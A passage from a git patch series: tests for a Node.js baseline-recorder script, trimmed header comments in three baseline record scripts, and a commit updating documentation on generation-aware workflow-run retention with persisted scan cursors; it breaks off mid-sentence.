"worldModule: './fixtures/../fixtures/world.ts', baselineFile: './fixtures/../fixtures/baseline.ts',", + }); + const result = await run(f); + assert.equal(result.status, 0, result.stderr); + assert.equal(result.stderr, ''); + assert.equal(activity(f), 'import\nrun\n'); +}); + +test('distinguishes a missing world from an existing world with a missing dependency', async (t) => { + const missing = fixture(t, { config: "worldModule: 'fixtures/absent.ts'," }); + const result = await run(missing); + assert.equal(result.status, 1); + assert.equal(result.stdout, ''); + assert.equal(result.stderr, 'fixture world is missing: fixtures/absent.ts\n'); + assert.equal(activity(missing), ''); + const nested = fixture(t, { + world: + "import './nested-missing.js'; export function run() { return { value: 42 }; }", + }); + const failure = await run(nested); + assert.equal(failure.status, 1); + assert.equal(failure.stdout, ''); + assert.match(failure.stderr, /ERR_MODULE_NOT_FOUND/); + assert.match(failure.stderr, /nested-missing\.js/); + assert.doesNotMatch(failure.stderr, /fixture world is missing/); + assert.equal(activity(nested), ''); +}); + +test('missing baseline prints an explicit write hint without creating a file', async (t) => { + const f = fixture(t, { committed: null }); + const result = await run(f); + assert.equal(result.status, 1); + assert.equal(result.stdout, ''); + assert.equal( + result.stderr, + 'fixture baseline is missing: fixtures/baseline.ts\nrun `node scripts/record.mjs --write` to record the baseline\n', + ); + assert.equal(existsSync(f.baselinePath), false); +}); + +test('a broken committed import retains its own error', async (t) => { + const f = fixture(t, { + committed: "import './baseline-dependency.js'; export const BASELINE = {};", + }); + const result = await run(f); + assert.equal(result.status, 1); + assert.equal(result.stdout, ''); + assert.match(result.stderr, /baseline-dependency\.js/); + assert.match(result.stderr, /ERR_MODULE_NOT_FOUND/); + assert.doesNotMatch(result.stderr, /baseline is missing/); +}); + +test('requires configured committed export presence even opposite undefined', async (t) => { + const f = fixture(t, { + value: 'undefined', + committed: 'export const OTHER = undefined;', + }); + assertError( + await run(f), + "committed export 'BASELINE': missing own property", + ); +}); + +for (const mode of ['--check', '--write']) { + for (const returned of [ + '{}', + 'Object.create({ value: undefined })', + 'null', + ]) { + test(`${mode} requires an own derived key in ${returned}`, async (t) => { + const f = fixture(t, { + value: 'undefined', + world: `export function run() { return ${returned}; }`, + }); + const before = readFileSync(f.baselinePath); + assertError( + await run(f, [mode]), + "derived key 'value': missing own property", + ); + assert.deepEqual(readFileSync(f.baselinePath), before); + }); + } +} + +test('an extra unconfigured export remains outside comparison', async (t) => { + const f = fixture(t, { + committed: + 'export const BASELINE = { answer: 42 }; export const OTHER = new Date();', + }); + const result = await run(f); + assert.equal(result.status, 0, result.stderr); + assert.equal(result.stdout, matchOutput(f)); +}); + +for (const [name, value, committed, differences] of [ + [ + 'undefined key presence', + '{ key: undefined }', + '{}', + [ + 'value: committed keys [] / derived keys ["key"]', + 'value.key: derived only undefined', + ], + ], + [ + 'comma keys', + '{ "a,b": undefined }', + '{ a: undefined, b: undefined }', + [ + 'value: committed keys ["a","b"] / derived keys ["a,b"]', + 'value.a: committed only undefined', + 'value.b: committed only undefined', + 'value.a,b: derived only undefined', + ], + ], + [ + 'key ordering', + '{ b: 2, a: 1 }', + '{ a: 1, b: 2 }', + ['value: committed keys ["a","b"] / derived keys ["b","a"]'], + ], + ['negative zero', '-0', '0', ['value: committed 0 / derived -0']], + [ + 'prototype-named key presence', + '{ constructor: undefined, toString: undefined }', + '{}', + [ + 'value: committed keys [] / derived keys ["constructor","toString"]', + 'value.constructor: derived only undefined', + 'value.toString: derived only undefined', + ], + ], + [ + 'array length', + '[1, undefined]', + '[2]', + [ + 'value: committed 1 item(s) / derived 2 item(s)', + 'value[0]: committed 2 / derived 1', + 'value[1]: derived only undefined', + ], + ], + [ + 'committed array tail', + '[]', + '[null]', + [ + 'value: committed 1 item(s) / derived 0 item(s)', + 'value[0]: committed only null', + ], + ], + [ + 'array versus map', + '{}', + '[]', + ['value: committed array(0) / derived object{}'], + ], + [ + 'composite versus primitive', + 'null', + '[]', + ['value: committed array(0) / derived null'], + ], +]) { + test(`structural comparison distinguishes ${name}`, async (t) => { + const f = fixture(t, { + value, + committed: `export const BASELINE = ${committed};`, + }); + const before = readFileSync(f.baselinePath); + const result = await run(f); + assert.equal(result.status, 1, result.stderr); + assert.equal(result.stdout, ''); + assert.equal( + result.stderr, + `fixture baseline drifted from fixtures/baseline.ts\n${differences.length} structural difference(s), committed vs re-derived from the unchanged world:\n${differences.map((line) => ` ${line}`).join('\n')}\n`, + ); + assert.deepEqual(readFileSync(f.baselinePath), before); + }); +} + +const unsupported = [ + ['date', 'new Date(0)', 'expected a plain map or ordinary array'], + ['map', 'new Map()', 'expected a plain map or ordinary array'], + ['set', 'new Set()', 'expected a plain map or ordinary array'], + [ + 'class', + 'new (class Example {})()', + 'expected a plain map or ordinary array', + ], + [ + 'array subclass', + 'new (class Example extends Array {})()', + 'expected a plain map or ordinary array', + ], + [ + 'typed array', + 'new Uint8Array(0)', + 'expected a plain map or ordinary array', + ], + ['function', '() => 1', "unsupported baseline value type 'function'"], + ['bigint', '1n', "unsupported baseline value type 'bigint'"], + ['symbol', 'Symbol("value")', "unsupported baseline value type 'symbol'"], + [ + 'cycle', + '(() => { const value = {}; value.self = value; return value; })()', + 'cyclic baseline value', + '["self"]', + ], + ['sparse array', '[,]', 'expected a dense array without extra properties'], + [ + 'array extra', + 'Object.assign([], { extra: 1 })', + 'expected a dense array without extra properties', + ], + [ + 'array hole with extra', + 'Object.assign(Array(1), { extra: 1 })', + 'expected a dense array without extra properties', + ], + [ + 'accessor', + '({ get bad() { throw new Error("GETTER_EXECUTED"); } })', + 'expected an enumerable data property', + '["bad"]', + ], + [ + 'non-enumerable', + 'Object.defineProperty({}, "bad", { value: 1 })', + 'expected an enumerable data property', + '["bad"]', + ], + [ + 'symbol property', + '({ [Symbol("bad")]: 1 })', + 'symbol properties are unsupported', + ], + [ + 'array accessor', + 'Object.defineProperty([1], "0", { get() { throw new Error("GETTER_EXECUTED"); } })', + 'expected an enumerable data property', + '[0]', + ], + [ + 'array non-enumerable', + 'Object.defineProperty([1], "0", { enumerable: false })', + 'expected an enumerable data property', + '[0]', + ], +]; + +for (const [name, expression, message, suffix = ''] of unsupported) { + for (const side of ['derived check', 'derived write', 'committed check']) { + test(`${side} rejects nested ${name} before accepting or replacing the target`, async (t) => { + const derived = side.startsWith('derived'); + const value = `({ nested: ${expression} })`; + const f = fixture(t, { + value: derived ? value : 'null', + committed: `export const BASELINE = ${derived ? 'null' : value};`, + }); + const before = readFileSync(f.baselinePath); + const result = await run(f, [ + side.endsWith('write') ? '--write' : '--check', + ]); + const location = derived + ? "derived key 'value'" + : "committed export 'BASELINE'"; + assertError(result, `${location}["nested"]${suffix}: ${message}`); + assert.doesNotMatch(result.stderr, /^Error: GETTER_EXECUTED$/m); + assert.deepEqual(readFileSync(f.baselinePath), before); + }); + } +} + +test('rejects a configured key accessor without calling it', async (t) => { + const f = fixture(t, { + world: + 'export function run() { return { get value() { throw new Error("GETTER_EXECUTED"); } }; }', + }); + assertError( + await run(f, ['--write']), + "derived key 'value': expected an enumerable data property", + ); +}); + +test('checks later declarations even after an earlier structural mismatch', async (t) => { + const f = fixture(t, { + value: 'null', + committed: + 'export const BASELINE = 1; export const SECOND = { nested: new Map() };', + world: 'export function run() { return { value: null, second: null }; }', + config: + "exports: [{ name: 'BASELINE', key: 'value', satisfies: 'unknown' }, { name: 'SECOND', key: 'second', satisfies: 'unknown' }],", + }); + assertError( + await run(f), + 'committed export \'SECOND\'["nested"]: expected a plain map or ordinary array', + ); +}); + +test('explicit repeated write preserves literal fidelity and world source with the installed formatter', async (t) => { + const value = `(() => { + const shared = Object.freeze({ value: undefined }); + return { text: "quote' slash\\\\ newline\\n carriage\\r tab\\t", absent: undefined, nil: null, + yes: true, no: false, numbers: [-0, 0, NaN, Infinity, -Infinity, 1.25], + nested: [shared, shared], empty: Object.create(null), + map: Object.assign(Object.create(null), { key: undefined }), + ['__proto__']: { safe: true } }; + })()`; + const f = fixture(t, { + value, + config: + "exports: [{ name: 'BASELINE', key: 'value', satisfies: 'unknown', jsDoc: '/** Preserve key presence. */' }, { name: 'SECOND', key: 'value', satisfies: 'unknown' }],", + }); + const before = readFileSync(f.worldPath); + const written = await run(f, ['--write', '--write']); + assert.equal(written.status, 0, written.stderr); + assert.equal(written.stdout, 'wrote fixtures/baseline.ts: fixture summary\n'); + assert.equal(written.stderr, ''); + assert.equal(activity(f), 'import\nrun\n'); + assert.deepEqual(readFileSync(f.worldPath), before); + const source = readFileSync(f.baselinePath, 'utf8'); + assert.match(source, /GENERATED FILE\. DO NOT EDIT BY HAND\./); + assert.match(source, /\/\*\* Preserve key presence\. \*\//); + assert.doesNotMatch(source, /^undefined$/m); + assert.match(source, /\[['"]__proto__['"]\]/); + assert.match(source, /-0/); + const checked = await run(f); + assert.equal(checked.status, 0, checked.stderr); + assert.equal(checked.stdout, matchOutput(f)); + assert.equal(checked.stderr, ''); + const entry = put( + f.root, + 'assert-generated.mjs', + `import assert from 'node:assert/strict'; +import { BASELINE } from './fixtures/baseline.ts'; +assert.equal(Object.hasOwn(BASELINE, '__proto__'), true); +assert.deepEqual(BASELINE.__proto__, { safe: true }); +assert.equal(Object.getPrototypeOf(BASELINE), Object.prototype); +assert.equal(Object.hasOwn(BASELINE, 'absent'), true); +assert.equal(Object.hasOwn(BASELINE.map, 'key'), true); +assert.equal(Object.is(BASELINE.numbers[0], -0), true); +assert.equal(Number.isNaN(BASELINE.numbers[2]), true); +assert.equal(BASELINE.numbers[3], Infinity); +assert.equal(BASELINE.numbers[4], -Infinity); +`, + ); + const imported = await run(f, [], { entry }); + assert.equal(imported.status, 0, imported.stderr); + assert.equal(imported.stdout + imported.stderr, ''); +}); + +test('formatter nonzero status fails without a success message', { + skip: process.platform === 'win32', +}, async (t) => { + const f = fixture(t); + const command = put( + f.root, + 'bin/pnpm', + `#!${process.execPath} +import { writeFileSync } from 'node:fs'; +writeFileSync(${JSON.stringify(join(f.root, 'formatter-call.json'))}, JSON.stringify({ cwd: process.cwd(), argv: process.argv.slice(2) })); +process.stderr.write('FORMATTER_REFUSED\\n'); process.exitCode = 17;\n`, + ); + chmodSync(command, 0o755); + const result = await run(f, ['--write'], { + env: { PATH: `${join(f.root, 'bin')}${delimiter}${process.env.PATH}` }, + }); + assertError(result, 'biome refused the generated baseline'); + assert.ok(result.stderr.split('\n').includes('FORMATTER_REFUSED')); + assert.deepEqual( + JSON.parse(readFileSync(join(f.root, 'formatter-call.json'), 'utf8')), + { + cwd: f.root, + argv: ['exec', 'biome', 'check', '--write', f.baselinePath], + }, + ); +}); + +test('formatter spawn errors remain failures', async (t) => { + const f = fixture(t); + const result = await run(f, ['--write'], { + env: { PATH: join(f.root, 'missing-bin') }, + }); + assert.equal(result.status, 1); + assert.equal(result.stdout, ''); + assert.match(result.stderr, /spawnSync pnpm(?:\.cmd)? ENOENT/); +}); + +test('unsupported later derived declarations cannot replace an earlier valid export', async (t) => { + const f = fixture(t, { + world: 'export function run() { return { value: 42, second: new Set() }; }', + config: + "exports: [{ name: 'BASELINE', key: 'value', satisfies: 'unknown' }, { name: 'SECOND', key: 'second', satisfies: 'unknown' }],", + }); + const before = readFileSync(f.baselinePath); + assertError( + await run(f, ['--write']), + "derived key 'second': expected a plain map or ordinary array", + ); + assert.deepEqual(readFileSync(f.baselinePath), before); +}); + +test('a non-enumerable configured key is refused', async (t) => { + const f = fixture(t, { + world: + 'export function run() { return Object.defineProperty({}, "value", { value: 42 }); }', + }); + assertError( + await run(f, ['--write']), + "derived key 'value': expected an enumerable data property", + ); +}); + +test('drains a long usage diagnostic before returning status 2', async (t) => { + const argument = `--${'x'.repeat(64 * 1024)}`; + const f = fixture(t); + const result = await run(f, [argument], { flags: [] }); + assert.equal(result.status, 2); + assert.equal(result.stdout, ''); + assert.equal( + result.stderr, + `unknown argument '${argument}'\nusage: node scripts/record.mjs --check | --write\n`, + ); + assert.equal(activity(f), ''); +}); + +test('drains a long success summary through the transform parent', async (t) => { + const summary = `${'s'.repeat(256 * 1024)}FINAL_SUMMARY`; + const f = fixture(t, { + config: `summary: () => ${JSON.stringify(summary)},`, + }); + const result = await run(f, ['--check'], { flags: [] }); + assert.equal(result.status, 0, result.stderr); + assert.equal( + result.stdout, + `fixture baseline matches fixtures/baseline.ts: ${summary}\n`, + ); + assert.equal(result.stderr, ''); +}); + +test('writes valid TypeScript for scalar literals, undefined, null and nonfinite numbers', async (t) => { + const f = fixture(t, { + world: `export function run() { return { u: undefined, n: null, nan: NaN, pos: Infinity, neg: -Infinity, zero: -0, bool: false, text: 'ok' }; }`, + config: `exports: ['u', 'n', 'nan', 'pos', 'neg', 'zero', 'bool', 'text'].map(key => ({ name: key.toUpperCase(), key, satisfies: 'unknown' })),`, + }); + const written = await run(f, ['--write']); + assert.equal(written.status, 0, written.stderr); + assert.equal(written.stderr, ''); + const require = createRequire( + join(repositoryRoot, 'packages/fleet-control/package.json'), + ); + const ts = require('typescript'); + const program = ts.createProgram([f.baselinePath], { + strict: true, + noEmit: true, + types: [], + }); + assert.deepEqual( + ts + .getPreEmitDiagnostics(program) + .map((diagnostic) => + ts.flattenDiagnosticMessageText(diagnostic.messageText, '\n'), + ), + [], + ); + const checked = await run(f); + assert.equal(checked.status, 0, checked.stderr); + assert.equal(checked.stdout, matchOutput(f)); + assert.equal(checked.stderr, ''); +}); + +test('installed formatter refusal propagates for invalid generated TypeScript', async (t) => { + const f = fixture(t, { config: "imports: 'import {'," }); + const before = readFileSync(f.worldPath); + const result = await run(f, ['--write']); + assertError(result, 'biome refused the generated baseline'); + assert.match(result.stderr, /parse/); + assert.deepEqual(readFileSync(f.worldPath), before); +}); + +test('string rendering preserves control characters, Unicode and lone surrogates', async (t) => { + const value = + 'quotes \'" backslash \\ control \0\b\f\n\r\t\v Unicode \u2028\u2029 \u{1f680} lone \ud800 \udfff'; + const f = fixture(t, { value: JSON.stringify(value) }); + const written = await run(f, ['--write']); + assert.equal(written.status, 0, written.stderr); + assert.equal(written.stderr, ''); + const checked = await run(f); + assert.equal(checked.status, 0, checked.stderr); + assert.equal(checked.stdout, matchOutput(f)); + assert.equal(checked.stderr, ''); +}); + +test('accepts a null-prototype derived container with an own undefined key', async (t) => { + const f = fixture(t, { + value: 'undefined', + world: + 'export function run() { return Object.assign(Object.create(null), { value: undefined }); }', + }); + const result = await run(f); + assert.equal(result.status, 0, result.stderr); + assert.equal(result.stdout, matchOutput(f)); + assert.equal(result.stderr, ''); +}); diff --git a/scripts/record-audit-baseline.mjs b/scripts/record-audit-baseline.mjs index 58056610..9297d88d 100644 --- a/scripts/record-audit-baseline.mjs +++ b/scripts/record-audit-baseline.mjs @@ -1,25 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 -// Records the golden baseline of `auditFleetDrift()` (src/fleet.ts, before its -// R4-B.2 decomposition into bounded stages): the exact findings array it -// returns AND the exact sequence of calls it makes onto its `store`, -// `backendFor`, `specFor`, and `maintenanceSecretFor` collaborators (the "op -// log"), for the hand-authored world in -// packages/fleet-control/test/fixtures/fleet-audit-world.ts. -// -// The baseline must be recorded from PRE-REWRITE code, so this script writes -// exactly one file — the generated literals — and never touches the world it -// drives. `--check` re-derives both values from the unchanged world and -// compares them STRUCTURALLY against the committed module's exports, so the -// compatibility gate never depends on formatter behavior; it writes nothing. -// -// This script is a re-recording aid, not a CI gate: the in-suite equivalence -// title in packages/fleet-control/test/fleet-audit-golden.test.ts is the -// automatic behavioral gate. -// // Usage: -// node scripts/record-audit-baseline.mjs # write the baseline -// node scripts/record-audit-baseline.mjs --check # verify, exit 1 on drift +// node scripts/record-audit-baseline.mjs --check +// node scripts/record-audit-baseline.mjs --write import { runBaselineRecorder } from './baseline-recorder.mjs'; @@ -29,35 +12,17 @@ await runBaselineRecorder({ worldModule: 'packages/fleet-control/test/fixtures/fleet-audit-world.ts', baselineFile: 'packages/fleet-control/test/fixtures/fleet-audit-baseline.ts', run: (world) => world.runFleetAuditBaseline(), - header: `/** - * GENERATED FILE — DO NOT EDIT BY HAND. - * - * Written by \`scripts/record-audit-baseline.mjs\` from the hand-authored world - * in \`fleet-audit-world.ts\`. It freezes the observable behavior of - * \`auditFleetDrift()\` (src/fleet.ts) before it is decomposed into bounded - * stages, so the decomposition can be proven byte-equivalent. Verify with - * \`node scripts/record-audit-baseline.mjs --check\`; any required change to - * these literals is a compatibility break, not a fixture update. - */`, imports: `import type { DriftFinding } from '../../src/fleet.js'; import type { AuditOpLogEntry } from './fleet-audit-world.js';`, exports: [ { name: 'AUDIT_BASELINE_FINDINGS', key: 'findings', - jsDoc: '/** Every finding `auditFleetDrift()` returned, in order. */', satisfies: 'readonly DriftFinding[]', }, { name: 'AUDIT_BASELINE_OPS', key: 'ops', - jsDoc: `/** - * Every \`withDeploymentLease\`/\`get\`/\`put\`/\`inspect\`/\`ensureMaintenance\` - * call, every \`resolver:\` invocation, and every \`lease.assertOwned()\` - * call \`auditFleetDrift()\` made, in order. \`list\`/\`renew\`/\`delete\` are in - * \`AuditOpLogEntry\`'s vocabulary but never appear here (defensive, unused by - * this pre-decomposition world). - */`, satisfies: 'readonly AuditOpLogEntry[]', }, ], diff --git a/scripts/record-drain-baseline.mjs b/scripts/record-drain-baseline.mjs index a71aff87..08a7bc73 100644 --- a/scripts/record-drain-baseline.mjs +++ b/scripts/record-drain-baseline.mjs @@ -1,24 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 -// Records the golden baseline of -// CloudflareProvisioningClient.collectFleetInventory(): the full provider -// request sequence and the exact FleetResourceInventory it returns for the -// hand-authored world in -// packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts. -// -// The baseline must be recorded from PRE-REWRITE code, so this script writes -// exactly one file — the generated literals — and never touches the world it -// drives. `--check` re-derives both values from the unchanged world and -// compares them STRUCTURALLY against the committed module's exports, so the -// compatibility gate never depends on formatter behavior; it writes nothing. -// -// This script is a re-recording aid, not a CI gate: the in-suite equivalence -// title in packages/fleet-control/test/cloudflare-client.test.ts is the -// automatic behavioral gate. -// // Usage: -// node scripts/record-drain-baseline.mjs # write the baseline -// node scripts/record-drain-baseline.mjs --check # verify, exit 1 on drift +// node scripts/record-drain-baseline.mjs --check +// node scripts/record-drain-baseline.mjs --write import { runBaselineRecorder } from './baseline-recorder.mjs'; @@ -30,29 +14,17 @@ await runBaselineRecorder({ baselineFile: 'packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts', run: (world) => world.runFleetInventoryDrain(), - header: `/** - * GENERATED FILE — DO NOT EDIT BY HAND. - * - * Written by \`scripts/record-drain-baseline.mjs\` from the hand-authored world - * in \`fleet-inventory-drain-world.ts\`. It freezes the observable behavior of - * \`CloudflareProvisioningClient.collectFleetInventory()\` before its internals - * are rewritten, so the rewrite can be proven byte-equivalent. Verify with - * \`node scripts/record-drain-baseline.mjs --check\`; any required change to - * these literals is a compatibility break, not a fixture update. - */`, imports: `import type { FleetResourceInventory } from '../../src/types.js'; import type { DrainRequestRecord } from './fleet-inventory-drain-world.js';`, exports: [ { name: 'DRAIN_BASELINE_REQUESTS', key: 'requests', - jsDoc: '/** Every provider request the drain issued, in order. */', satisfies: 'readonly DrainRequestRecord[]', }, { name: 'DRAIN_BASELINE_INVENTORY', key: 'inventory', - jsDoc: '/** The exact inventory the drain returned. */', satisfies: 'FleetResourceInventory', }, ], diff --git a/scripts/record-migration-baseline.mjs b/scripts/record-migration-baseline.mjs index a59c6f27..98d8f4c0 100644 --- a/scripts/record-migration-baseline.mjs +++ b/scripts/record-migration-baseline.mjs @@ -1,30 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 -// Records the golden baselines of `migrateFleet()` (src/fleet.ts, before its -// R4-C.2 decomposition into a bounded frozen-plan executor), for the two -// hand-authored worlds in -// packages/fleet-control/test/fixtures/fleet-migration-worlds.ts: -// - the SUCCESS world: the exact records `migrateFleet()` returns AND the -// exact sequence of calls it makes onto its `store`, `backendFor`, -// `specFor`, `secretsFor`, and `settlementFor` collaborators (the "op log"); -// - the STOP world: the exact refusal it rejects with, beside the op log that -// proves first-error stop parity — the first record's whole body, the -// refused record's two-token preamble prefix, and nothing at all for the -// record the drain never reaches. -// -// The baselines must be recorded from PRE-REWRITE code, so this script writes -// exactly one file — the generated literals — and never touches the worlds it -// drives. `--check` re-derives all four values from the unchanged worlds and -// compares them STRUCTURALLY against the committed module's exports, so the -// compatibility gate never depends on formatter behavior; it writes nothing. -// -// This script is a re-recording aid, not a CI gate: the in-suite equivalence -// titles in packages/fleet-control/test/fleet-migration-golden.test.ts are the -// automatic behavioral gate. -// // Usage: -// node scripts/record-migration-baseline.mjs # write the baseline -// node scripts/record-migration-baseline.mjs --check # verify, exit 1 on drift +// node scripts/record-migration-baseline.mjs --check +// node scripts/record-migration-baseline.mjs --write import { runBaselineRecorder } from './baseline-recorder.mjs'; @@ -44,56 +22,35 @@ await runBaselineRecorder({ stopOps: stop.ops, }; }, - header: `/** - * GENERATED FILE — DO NOT EDIT BY HAND. - * - * Written by \`scripts/record-migration-baseline.mjs\` from the hand-authored - * worlds in \`fleet-migration-worlds.ts\`. It freezes the observable behavior of - * \`migrateFleet()\` (src/fleet.ts) before it is decomposed into a bounded - * frozen-plan executor, so the decomposition can be proven byte-equivalent. - * Verify with \`node scripts/record-migration-baseline.mjs --check\`; any - * required change to these literals is a compatibility break, not a fixture - * update. - */`, imports: `import type { FleetRecord } from '../../src/types.js'; import type { MigrationOpLogEntry } from './fleet-migration-worlds.js';`, exports: [ { name: 'MIGRATION_SUCCESS_BASELINE_RESULT', key: 'successResult', - jsDoc: `/** Every record \`migrateFleet()\` returned for the success world, in order. */`, + jsDoc: `/** + * An absent \`durableObjectTag\` key differs from a present key whose value + * is \`undefined\`. + */`, satisfies: 'readonly FleetRecord[]', }, { name: 'MIGRATION_SUCCESS_BASELINE_OPS', key: 'successOps', jsDoc: `/** - * Every collaborator call \`migrateFleet()\` made for the success world, in - * order: the store's \`withDeploymentLease\`/\`get\`/\`put:\` - * and \`lease.assertOwned()\`, every \`resolver::\` invocation, every - * backend call, and every settlement. The finalized-state provider's six - * tokens and the state reconcile's \`put:upload-authorized\`/\`put:uploaded\` are - * in \`MigrationOpLogEntry\`'s vocabulary but never appear here: no world holds - * a finalized-ordinary-plane record. + * \`applyMigrations:verify\` depends on the spec array's reference identity; + * a per-version slice can contain the same migrations. */`, satisfies: 'readonly MigrationOpLogEntry[]', }, { name: 'MIGRATION_STOP_BASELINE_ERROR', key: 'stopError', - jsDoc: `/** The exact refusal \`migrateFleet()\` rejected the stop world with. */`, satisfies: 'string', }, { name: 'MIGRATION_STOP_BASELINE_OPS', key: 'stopOps', - jsDoc: `/** - * Every collaborator call \`migrateFleet()\` made for the stop world before it - * rejected, in order. First-error stop parity is the SHAPE of this log: the - * first record's whole body, then the refused record's \`withDeploymentLease\` - * and \`get\` — the two calls its refusal fires after — and then nothing, because - * the drain never reaches the third record. - */`, satisfies: 'readonly MigrationOpLogEntry[]', }, ], From eb41e0c2b96c7e5c986c0efafc4008f5330d8a4f Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 01:57:54 +0400 Subject: [PATCH 091/169] fix(flowsafe): retain exact run generations with durable scan progress --- .changeset/sticky-fence-epochs.md | 6 +- docs/do-runner-design.md | 34 +- packages/flowsafe/deploy/README.md | 6 +- .../flowsafe/scripts/agent-host-pack-test.mjs | 34 + .../flowsafe/src/approval-api/retention.ts | 3 +- .../flowsafe/src/approval-api/service.test.ts | 95 + packages/flowsafe/src/approval-api/service.ts | 6 +- .../flowsafe/src/do-runner/d1-storage.test.ts | 2536 +++++++++++++++-- packages/flowsafe/src/do-runner/d1-storage.ts | 1725 ++++++++--- packages/flowsafe/src/do-runner/index.ts | 2 + .../flowsafe/src/do-runner/inventory.test.ts | 67 +- .../src/host-kit/approval-bridge.test.ts | 112 +- .../flowsafe/src/host-kit/approval-bridge.ts | 17 +- .../src/host-kit/flowsafe-worker.test.ts | 475 ++- .../flowsafe/src/host-kit/flowsafe-worker.ts | 114 +- .../host-kit/host-approval-service.test.ts | 185 +- .../src/host-kit/host-approval-service.ts | 78 +- .../src/host-kit/maintenance-do.test.ts | 470 ++- .../flowsafe/test-support/harness-probe.ts | 1489 +++++++++- scripts/flowsafe-harness.test.ts | 714 ++++- 20 files changed, 7297 insertions(+), 871 deletions(-) diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index 3c425391..112c1473 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -22,4 +22,8 @@ Guard replay proof nomination with its original proof round/caller epoch, curren Capture trusted authority before asynchronous work across Worker configuration, protected JSON/header transport and the eighth agent-start authority argument. Keep public bodies and application context from supplying a winning claim. Preserve source-owner versus initiating-principal attribution, exact lifecycle counter exhaustion checks and rejection of sparse economic-operation lists. -Final schedule-write protection, generation-aware retention and actual workerd/D1 acceptance remain required before enabling artifact-epoch enforcement across a deployment. Administrative support and explicitly unfenced execution do not supply those guarantees. +Make workflow retention generation-aware, protect run owners across supported snapshot namespaces, and pair reservation cleanup with the complete bound execution. Preserve reserved owners, uncertain generations and legacy keys that cannot be safely associated. Recheck schema and selected identity at the mutation; keep artifact deletion ahead of D1 cleanup. + +Custom `purgeExpiredWorkflowRuns` callers must now provide transactional `database.batch()` and an `advanceCursor` callback, retain its exported `RunRetentionCursor`, and supply that cursor on the next call. Composed maintenance persists the cursor across alarms and restarts. Finite scan cycles revisit skipped candidates without letting continuous inserts extend the current cycle; unproved D1 outcomes and failed cursor writes do not advance progress. + +Final schedule-write protection and accumulated workerd/D1 acceptance remain required before enabling artifact-epoch enforcement across a deployment. Administrative support and explicitly unfenced execution do not supply those guarantees. diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 3064082d..ade2c4a5 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -273,7 +273,7 @@ Recovery requires awaited owning quiescence equal to true and exact journal/fram A workflow journal must match its named Durable Object before recovery can use that object's quiescence. Agent recovery rechecks the complete journal after the authoritative read and before rolling back H-owned reservations. Both hosts require a keyed journal's configured reservation store before bookkeeping, even when its selected outcome is nonterminal. -Strict terminal reservation settlement precedes managed approval, dispatch, owner and completion cleanup, with exact journal clearing last. Failures retain the journal and watchdog. A missing snapshot after fenced preparation also retains the journal and agent record/binding, preventing an unkeyed same-ID retry from executing again. Only an actual local, matching zero-insert receipt with an unwound owning frame and an absent row permits complete rollback. Prepared-unfenced absence/pending never enters initial repair or unspends a bound key. Final schedule enforcement and generation-aware retention acceptance remain required before enabling artifact epochs across the deployment. +Strict terminal reservation settlement precedes managed approval, dispatch, owner and completion cleanup, with exact journal clearing last. Failures retain the journal and watchdog. A missing snapshot after fenced preparation also retains the journal and agent record/binding, preventing an unkeyed same-ID retry from executing again. Only an actual local, matching zero-insert receipt with an unwound owning frame and an absent row permits complete rollback. Prepared-unfenced absence/pending never enters initial repair or unspends a bound key. Final schedule enforcement and deployment-wide acceptance remain required before enabling artifact epochs across the deployment. ### Snapshot provenance @@ -495,20 +495,32 @@ The runner does not provide an administrative “reset to last good state” API ## Retention -`purgeExpiredWorkflowRuns(db, options)`: +`purgeExpiredWorkflowRuns(db, options)` processes bounded pages of terminal snapshots and spent start reservations. It requires a transactional `db.batch()` and an `advanceCursor` callback. Persist the callback's `RunRetentionCursor` and pass it as `cursor` on the next invocation. The maintenance Durable Object handles this persistence for composed Workers. -- selects only terminal statuses; -- uses a bounded batch; -- deletes paired R2 artifacts before the snapshot row; -- keeps a failed row as a retry anchor while allowing later rows to proceed; -- aggregates per-run failures after the pass; -- treats a not-yet-created snapshot table as empty. +For a lower-level caller with a D1 binding and Durable Object storage: -The composed Worker resolves its optional artifact purger from the current maintenance invocation's environment inside this failure boundary. A factory or deletion failure keeps the enumerable snapshot row and does not stop approval or other domain purges. +```typescript +import { + purgeExpiredWorkflowRuns, + type RunRetentionCursor, +} from '@proofoftech/flowsafe/do-runner'; + +const cursorKey = 'workflow-retention-cursor'; +const cursor = await state.storage.get(cursorKey); +await purgeExpiredWorkflowRuns(env.DB, { + ttlMs: 30 * 24 * 60 * 60 * 1000, + cursor, + advanceCursor: (next) => state.storage.put(cursorKey, next), +}); +``` + +Serialize calls that share a cursor. A scan finishes against its captured high-water mark; a subsequent cycle revisits earlier skipped rows even while new rows arrive. A failed artifact deletion leaves its snapshot and permits progress to later candidates. A failed cursor write or uncertain D1 outcome stops that phase without recording unproved progress. + +Modern cleanup rechecks the physical address, execution token and owned provenance fields before deleting. Legacy cleanup rechecks its observed raw row. Run owners remain protected by reserved ownership or a matching run ID in another supported snapshot namespace. Bound reservations pair with the selected execution; an unreadable current generation is not evidence that an orphaned key can expire. Existing terminal timestamps remain unchanged; key expiry respects the configured retention horizon. Running and suspended rows remain; `cancelled` and `timed_out` require completed lifecycle cleanup. -When runtime storage uses `tablePrefix`, configure the same `storageTablePrefix` on `createFlowsafeWorker()`. It threads that validated prefix through every prefix-aware built-in purge. Direct callers of any exported low-level purge receive the same fail-fast validation before D1 preparation. Fixed-schema Flowsafe tables remain unprefixed. +Configure `storageTablePrefix` on `createFlowsafeWorker()` to match runtime storage. Direct purge cursors must match their configured namespace and reservation table. Managed maintenance starts a fresh scan when a valid stored cursor belongs to a changed configuration; malformed stored cursors fail retention. Approval and other domain purges retain their separate failure handling. -Running and suspended rows are never age-purged. Retention treats `cancelled` and `timed_out` as terminal after lifecycle cleanup releases ownership. +The composed Worker resolves its optional artifact purger from the current maintenance invocation's environment. Artifacts delete before D1 cleanup; use the runtime's bucket and matching `R2ArtifactStore.keyPrefix`. The artifact API addresses workflow/run pairs, so a D1 generation check cannot restore artifacts 